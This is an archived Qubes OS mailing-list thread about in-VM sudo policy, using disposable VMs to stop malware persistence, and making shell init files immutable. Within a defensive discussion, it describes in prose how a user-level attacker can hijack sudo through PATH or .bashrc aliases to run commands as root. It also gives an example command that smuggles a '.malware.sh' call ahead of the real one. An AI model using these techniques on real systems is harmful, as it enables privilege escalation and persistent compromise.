chattr +i $chfiles

I have put this in my Debian /etc/rc.local. Alternately, you can set
those files one time in your templates using the above sequence and VMs
that are created with that template (after that point in time) will
inherit the settings. Note that you cannot just set files that already
exist and ignore the missing ones, hence 'touch' will create the missing
ones.

This also has the nice side-effect of addressing that old cautionary
note about malware persisting through shell init scripts; it would have
to find another way which IMHO might not exist or not for very long.

[Chris Laprise]

On 03/14/2017 12:57 PM, cooloutac wrote:

> yes I agree having to click yes in a dom0 popup will not be cumbersome for most. But is it that easy for the devs to implement?

Its already there, for a long time now. The vm-sudo doc describes how to
enable it.

[7v5w7go9ub0o]

Dang! Sorry again!!

>
>> You have the basic idea except for the vital point of what happens
>> at end of DispVM session (copying as few as possible user files
>> back to a VM or Vault). I take your point 4 on space, and point 6
>> on RAM and CPU usage.
>>
>> I disagree on critical point 5.
>>
>> For example running a browser in a VM is indeed "more secure" than
>> running it in a VM because only specific updated files (bookmarks
>> - places.sqlite) are retained and copied back to the vault at end
>> of session; no other user-land files (and surprise relics) are
>> copied back; this is contrary to what is presumed in that write up.
>> If if the bookmarks weren't changed, simply flush the DispVM away.
>>
>> Doing mail in a DispVM is also "more secure" for the same reason -
>> only specific updated files are retained at end of session - no
>> other user-land files (and relics) are copied back to a VM. This is
>> key, and why this is more secure.
>>
> I think I understand the setup now. I agree that this is technically
> more secure in the sense that your inter-session persistent attack
> surface is reduced (fewer persistent files; a greater number of files
> are "templatized"). However, it seems like a very minor security gain
> for a huge cost in initial setup and inconvenience (see below).


> Do you
> agree that the security gain is relatively minor, or do you have some
> reason to think that it is significant?

Aha!!

The key issue!!

1. Is the security gain very minor? (and is its huge cost in initial
setup and inconvenience worth it?)

(Heh.... as a side, of course the same questions can be asked of Qubes
itself - for users who use their computers to check their text-only
email and don't go "surfin", the realized security gain likely doesn't
appear to outsiders worth the cost. Box gets infected, go get a new one
for 2 or 3 hundred.)

My DispVM is no more resistant to a WAN attack than an AppVM. One is
really asking the value (security gain) of eliminating persistence, if a
bug is ingested.

I subscribe to a number of Usenet and mail accounts; I surf
voluminously; my "safe hex" is not as safe as it could be. My exposure
to a full range of bugs is great.

The unknown risk of infecting Wan-connected FireFox, TBird, messaging,
music streaming or other dedicated VMs user files with bugs silently
taking notes; or perhaps acting as bots waiting instructions; or perhaps
mischievously sending out garbage in my name as a joke; or perhaps
acting as an occasional porn server - is a terrible prospect. That one
of these VMs could be taking notes (or sending porn) over a period of
weeks would not only drive me crazy, but the ongoing reveal of my
activities would likely prove a dramatically greater and more damaging
security loss than a one-time hit.

So avoiding the consequences of having an infection *persist* over time
is my privacy/security consideration: and should it occur, it does
indeed render a significant increase in damage to Privacy and perhaps
security.



.

>> At startup, the user configuration file (.Thunderbird) is copied
>> into the DispVM, followed by the latest volatile user data files.
>>
>> (If there is need to permanently change something in the user
>> configuration - I haven't in years - one simply starts up the
>> DispVM/tbird proggy, makes the configuration change doing no mail,
>> usenet, etc., and promptly copies the newly changed, whole user
>> configuration back to the vault, followed by immediate shutdown.)
>>
>> Also disagree on your second part of 6; I've been using this and
>> other DispVM scripts since Q2.0 or Q2.1; I've become lazy as they
>> just work! Infrequently I'll get a "failed to start" DispVM
>> message, in which case I'll start one manually and tell the script
>> to use it (script pauses 'til the DispVM is up and running).
>>
>> And also on point 6; yes there is a startup delay, but it is a
>> completely acceptable trade off to me for the reassurance and
>> relaxed comfort of running mail, browser, etc. in a DispVM.
>>
> Some of those performance issues have been fixed since I posted that.
> However, it still seems like this entails huge inconvenience on the
> user's part. Maybe it's easy once you get all the scripts set up, but
> getting all the scripts set up in the first place seems to require
> immense effort that would yield greater security benefits if focused
> elsewhere.

2. ...and is its huge cost in initial setup and inconvenience worth it?

Well..... the question becomes, how difficult is it to page through the
instruction manual and write a couple of scripts - and as you noted, to
*maintain* the scripts within a changing environment? If you're talking
about casual social networkers and emailers jumping from Windows or
Apple to Qubes then I agree - it might be huge, immense and as you
suggest, not worth it.

And as you also noted, maintaining those scripts over time may be more
laborious and error-prone than creating them.

I'm no rocket scientist and most of the folks around here know much more
than I - but devising the scripts took a morning of creation and a few
subsequent tweaks. And I learned a lot and it was fun.

Guess I can't speak for others; for me it was worth it - for peace of
mind if nothing more.

> At a minimum, it sounds like the user would be required to figure out:
>
> 1. Which files can be saved or discarded for each program without
> losing data or config settings.
> 2. Which files have to be copied over into each fresh DispVM for each
> program without missing data or config settings.
> 3. How to script starting the right program (for each program).
> 4. How to script copying the right data for each program from each
> StorageVM to each fresh DispVM.
> 5. How to script copying the right data for each program from each
> DispVM back to each StorageVM without copying unwanted files but
> without leaving behind important data or config files.

Yes to each of those.

> You have to figure all of these things out for every program you use,
> and god help you if:
>
> 6. The program gets an update and suddenly changes where important data
> or config files are stored.

Yep.

> 7. The program ever crashes in a DispVM, and it was the first window
> open in a DispVM, so the DispVM destroys itself and you lose all of
> your data for that session.

Yep - though you simply flush and reload if it was the first window; the
PITA occurs if it crashes at the end of a long and important session. I
presently stop and restart frequently - thereby saving updated files and
freeing space - but 'twould be easy enough to put a "snapshot data
files" in the script. Given I keep some of these up for days, I think
I'll consider it.

>
> I'm suspect that I would run into a list of issues at least 20x as
> long if I ever tried to implement this approach, but perhaps this is a
> good start for discussing it. :)

Naw...... the big issue is understanding the concept; which you
obviously do.

The second issue is believing that there is the possibility of
WAN-facing clients being quietly infected, and that eliminating the
possibility of persistence would be worth the time....... which is
questionable.

(FWIW, I suspect that statistically any of this is questionable - most
Linux users will get by fine with limited use, "security through
perfection", and "safe hex". They can justify neither Qubes nor
DispVMs. (Heh....But of course not the case with Windows users - they
accept that their core OS is betraying their privacy, and soon their
tranquility with advertising))

[Chris Laprise]

On 03/14/2017 07:18 PM, Chris Laprise wrote:
>
> # Protect sh and bash init files
> chfiles="/home/user/.bashrc /home/user/.bash_profile /home/user \
> /.bash_login /home/user/.bash_logout /home/user/.profile"
> touch $chfiles
> chown -f root:root $chfiles
> chattr +i $chfiles

The line break on that didn't work out (delete space before backslash).
Here it is fixed:

https://github.com/tasket/Qubes-VM-hardening/blob/master/rc.local

Also changed to avoid abort of script.

[sm8ax1]

Chris Laprise:

First, I did acknowledge that ~/.bashrc and friends can trivially be
infected and can be used to gain persistence, but it would still only be
unprivileged persistence. That is enough to accomplish some goals, but
in those cases the sudo policy is irrelevant in the first place.

Like I said before, persistence and privilege are independent of each
other. You can have one without the other, both, or neither. A lot of
people are treating them as one and the same issue, so if I am wrong for
making this distinction, someone *please* point that out.

The reason I brought up the non-persistence of files not writable by
root was just to express that there's little need for sudo because
modifications made to files owned by root would be lost on restart. E.g.
installing software or making changes outside /home are probably not
common tasks because those changes would be lost on restart. There
definitely are exceptions to this rule, but they are infrequent enough
that clicking "yes" would not be inconvenient.

Second, you mention that ~/.bin/sudo could be overwritten with the
attacker's binary or a script. I'm not sure I understand what you mean
exactly... the real sudo works by virtue of being owned by root with
suid. An attacker running as user cannot create a file owned by root, so
neither the real sudo nor a fake one could elevate privileges. If you
mean that `sudo` could be aliased to something else, I'm not sure what
that would accomplish; the underlying command would still run as the
invoking user. I'm just not quite getting what you're saying.

Setting the shell startup files to immutable is a good idea I hadn't
thought of. Actually I think setting them to root:root mode 755 would be
sufficient, wouldn't it? That would make it one step easier to modify
them as needed.

Of course, then there are many other files in $HOME that are parsed in
some way by various applications. Perhaps install a malicious browser
extension in .mozilla/ directory. Arguably not quite as persistent or
stealthy, but you get the idea. Once again, this is the persistence
debate -- a case for using DispVMs -- not the sudo debate.

[Chris Laprise]

On 03/14/2017 11:30 PM, sm8ax1 wrote:

> Second, you mention that ~/.bin/sudo could be overwritten with the
> attacker's binary or a script. I'm not sure I understand what you mean
> exactly... the real sudo works by virtue of being owned by root with
> suid. An attacker running as user cannot create a file owned by root, so
> neither the real sudo nor a fake one could elevate privileges. If you
> mean that `sudo` could be aliased to something else, I'm not sure what
> that would accomplish; the underlying command would still run as the
> invoking user. I'm just not quite getting what you're saying.

By changing the order of $PATH paths or adding an alias in .bashrc a
regular user process can impersonate the sudo and su (and other)
commands so their version will run and ask for authorization whenever
you do 'sudo somecommand' instead of '/usr/bin/sudo somecommand' (the
latter would not be vulnerable). It will look normal and 'somecommand'
will run, but attacker can piggyback his own commands to execute as root
also.

(This is an old issue, resembling the way attacks could be carried out
in Xwindows like clipboard sniffing, etc. and was ignored.)

Without ability to write shell init scripts, attacker can only change
aliases or $PATH (or $LD_PRELOAD) for his own processes, but not for the
shells or apps you started yourself.

>
> Setting the shell startup files to immutable is a good idea I hadn't
> thought of. Actually I think setting them to root:root mode 755 would be
> sufficient, wouldn't it? That would make it one step easier to modify
> them as needed.

Not sufficient because 'user' still owns that dir, so it can delete
those files even if they're root. Then attacker can write their own
version. Solution needs +i to prevent replacement in a user-owned dir.

Going the other way--using only +i and not root ownership--should work
but I was trying to be thorough. In practice user will probably modify
script as root after using 'sudo chattr' so convenience-wise it doesn't
matter.

[sm8ax1]

Chris Laprise:

> On 03/14/2017 11:30 PM, sm8ax1 wrote:
>
>> Second, you mention that ~/.bin/sudo could be overwritten with the
>> attacker's binary or a script. I'm not sure I understand what you mean
>> exactly... the real sudo works by virtue of being owned by root with
>> suid. An attacker running as user cannot create a file owned by root, so
>> neither the real sudo nor a fake one could elevate privileges. If you
>> mean that `sudo` could be aliased to something else, I'm not sure what
>> that would accomplish; the underlying command would still run as the
>> invoking user. I'm just not quite getting what you're saying.
>
> By changing the order of $PATH paths or adding an alias in .bashrc a
> regular user process can impersonate the sudo and su (and other)
> commands so their version will run and ask for authorization whenever
> you do 'sudo somecommand' instead of '/usr/bin/sudo somecommand' (the
> latter would not be vulnerable). It will look normal and 'somecommand'
> will run, but attacker can piggyback his own commands to execute as root
> also.
>
> (This is an old issue, resembling the way attacks could be carried out
> in Xwindows like clipboard sniffing, etc. and was ignored.)
>
> Without ability to write shell init scripts, attacker can only change
> aliases or $PATH (or $LD_PRELOAD) for his own processes, but not for the
> shells or apps you started yourself.

Thanks for clarifying that. Piggybacking his own commands in addition to
the argument to `sudo` is the key part I wasn't getting. The fix to that
I think would be showing the command (binary path + args) in the Dom0
dialog.

e.g.
"my-vm" is attempting to run "/usr/bin/bash -c '/home/user/.malware.sh ;
realcommand'" as root. Allow?
[x] Always do this for requests from this VM in the future.
[Yes] [No] [View environment variables]

It might already have some of these features for all I know. I haven't
tried it yet.

Untrusted environment variables, if allowed by sudo (they are disallowed
by default), present another problem. This could probably be solved by
showing the untrusted/modified ones in the dialog as well.

>>
>> Setting the shell startup files to immutable is a good idea I hadn't
>> thought of. Actually I think setting them to root:root mode 755 would be
>> sufficient, wouldn't it? That would make it one step easier to modify
>> them as needed.
>
> Not sufficient because 'user' still owns that dir, so it can delete
> those files even if they're root. Then attacker can write their own
> version. Solution needs +i to prevent replacement in a user-owned dir.
>
> Going the other way--using only +i and not root ownership--should work
> but I was trying to be thorough. In practice user will probably modify
> script as root after using 'sudo chattr' so convenience-wise it doesn't
> matter.
>

I don't know why I didn't catch that. I guess I have to go back to Unix
101.

Immutable it is. Just a note for the record, this is an added
anti-persistence feature, but it isn't required for vm-sudo to work as
described.

[cooloutac]

thanks!

[cooloutac]

I think this thread is now sudo vs doing everything in dispvms? lol well regarding sudo you guys heard about the malware fsybis last year? installs on linux system without root by clicking bad link. persists, keylogs, phones home, spreads. root not required. and I mean what data you got in root directories thats more private then user data?

I guess the argument is that you are protecting dom0 by using sudo in an appvm? Sorry if I;m stating the obvious.

But doing everything in a dispvm? Sure, if someone else sets it up and maintains it for me lol. I'm not gonna bother with the scripts, I use Qubes so I don;t have to read emails in text only mode and implement crazy security measures like selinux or apparmor with grsec, which also have never helped me much before. I gave all that stuff up.

All it takes is one bad click and something I say yes to. It happens to everyone eventually.

[Nick Darren]

On 03/15/2017 02:24 AM, Chris Laprise wrote:

On 03/14/2017 07:18 PM, Chris Laprise wrote:

# Protect sh and bash init files
chfiles="/home/user/.bashrc /home/user/.bash_profile /home/user \
/.bash_login /home/user/.bash_logout /home/user/.profile"
touch $chfiles
chown -f root:root $chfiles
chattr +i $chfiles

The line break on that didn't work out (delete space before backslash). Here it is fixed:

https://github.com/tasket/Qubes-VM-hardening/blob/master/rc.local

Also changed to avoid abort of script.

Hi Chris,

How did you handle error message like below when you deny the request of su/sudo using vm-sudo :

[user@fedora-24 pam.d]$ su
/usr/lib/qubes/qrexec-client-vm failed: exit code 1
su: System error

[user@fedora-24 pam.d]$ sudo dnf update
/usr/lib/qubes/qrexec-client-vm failed: exit code 1
sudo: PAM authentication error: System error

Is there any method to put something like 'permission denied' message instead of the message above?

[Andrew David Wong]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

No big deal. :)

IMHO, there's a huge difference. The cost-benefit calculation of
switching to Qubes is a no-brainer for anyone who has valuable data
(or, more generally, has "something to lose" with respect to their
computer activities). Granted, many people are not like this. Their
only interaction with computers is entirely trivial and not worth
anything (to them). For those people, the cost of learning Qubes isn't
worth it. But for people with something to lose (privacy, data,
reputation, assets, etc.), it's entirely worth it. The security gain
isn't just an incremental improvement over other OSes; it's a paradigm
shift. Even if you're "careful" on a conventional, monolithic OS
(i.e., don't click on email links, only visit "sites you trust,"
etc.), your entire digital life can still be rather easily compromised
because, e.g., your NIC isn't isolated. Qubes allows those of us who
aren't low-level security architecture experts to achieve a level of
security that would otherwise be impossible for us.

> My DispVM is no more resistant to a WAN attack than an AppVM. One
> is really asking the value (security gain) of eliminating
> persistence, if a bug is ingested.
>
> I subscribe to a number of Usenet and mail accounts; I surf
> voluminously; my "safe hex" is not as safe as it could be. My
> exposure to a full range of bugs is great.
>
> The unknown risk of infecting Wan-connected FireFox, TBird,
> messaging, music streaming or other dedicated VMs user files with
> bugs silently taking notes; or perhaps acting as bots waiting
> instructions; or perhaps mischievously sending out garbage in my
> name as a joke; or perhaps acting as an occasional porn server - is
> a terrible prospect. That one of these VMs could be taking notes
> (or sending porn) over a period of weeks would not only drive me
> crazy, but the ongoing reveal of my activities would likely prove a
> dramatically greater and more damaging security loss than a
> one-time hit.
>
> So avoiding the consequences of having an infection *persist* over
> time is my privacy/security consideration: and should it occur, it
> does indeed render a significant increase in damage to Privacy and
> perhaps security.
>

Thanks for the explanation. Given your unique situation and goals, it
makes sense to pursue that kind of DispVM strategy.

Thanks for sharing your perspective. I agree that it's a personal
issue. For some people it will be worth it, for others not. The great
thing about Qubes is that it takes care of 99% of our security so that
we have the leisure to discuss the marginal gains of the remaining 1%. :)

> (FWIW, I suspect that statistically any of this is questionable -
> most Linux users will get by fine with limited use, "security
> through perfection", and "safe hex". They can justify neither
> Qubes nor DispVMs.

"Statistically" in the sense of actual rates of compromise -- maybe.
The problem is that it's impossible to know for sure whether a
computer is compromised, and "safe hex" practices are not enough.
Again, think about an un-isolated NIC in a safe-hex user's
conventional Linux box. The whole box can be compromised without that
user ever making an explicit mistake or ever realizing it has happened.

(Of course, it's also impossible to know for sure whether a Qubes box
is compromised, but at least you've reduced the risk by many, many
orders of magnitude.)

> (Heh....But of course not the case with Windows users - they accept
> that their core OS is betraying their privacy, and soon their
> tranquility with advertising))
>

Agreed.

>
>>> Thank you for the thoughtful analysis of 4/1/15; apologies for
>>> not responding at that time.
>>>
>

- --
Andrew David Wong (Axon)
Community Manager, Qubes OS
https://www.qubes-os.org
-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJYydOHAAoJENtN07w5UDAw0y0P/iko35Xc3SYYcltxHKTmobfl
uowYOtzVI7eQqxFkSaWhz0uG6/73wpUqRSIBIQkdJlSkzTWUSTY2zkCE5EnLDFyp
OqTa0g6phwKKUiyFQ36VRCvP55OkP0Vu92oH6s8f42sPfOA2U+IEqCeefX/9Q051
vmrR0F7T2bIDkrBumLSB5pKdoekTiHKNs1A8Jz7GVK5Yb0U6WgoGtun4EYBxK2PJ
yQZtas+bWTj5GCCu9S8YkYwfwoO+vpNfvih1BCQOp+Of6Jt7zU5rCPfgPI3EGpgu
cektXOYErydDVlL6l6ofe/4BVrPRVzxjmgcntyyp64r3gDI6nk/1QZ54qqW6I9qi
uhjWAKWyQEEOm3IqWE3s1lItXqWyjp86sRmMJBT4up+IQOABAvJjiYClqC1gTmpN
IoX8p85GTGbXyZPw648roGDCHbfTfAjsEifCMoW0cLrPIkstYvbSGBGTX3PQ53vK
h1XrUmiW3+Rm/hHhhhV2Uw2ZLYe1Pftn9IgYVrtWYwqpe+FsOppTeEqtr79UvplK
KhooZnAP+0ILjCzVaKwUh1gXK6rySzCQpLLDL2nM3dQ2XChk7t/Tf9/SEVHdLRQh
A3sw+WoRmj0n/j0mb2vd3njuqQrKIhh9pHDgfD7O7xS44o7Q8c9LZRx40wnmuDWb
qhl5D1Q+lhpVex3YKR49
=1Yf0
-----END PGP SIGNATURE-----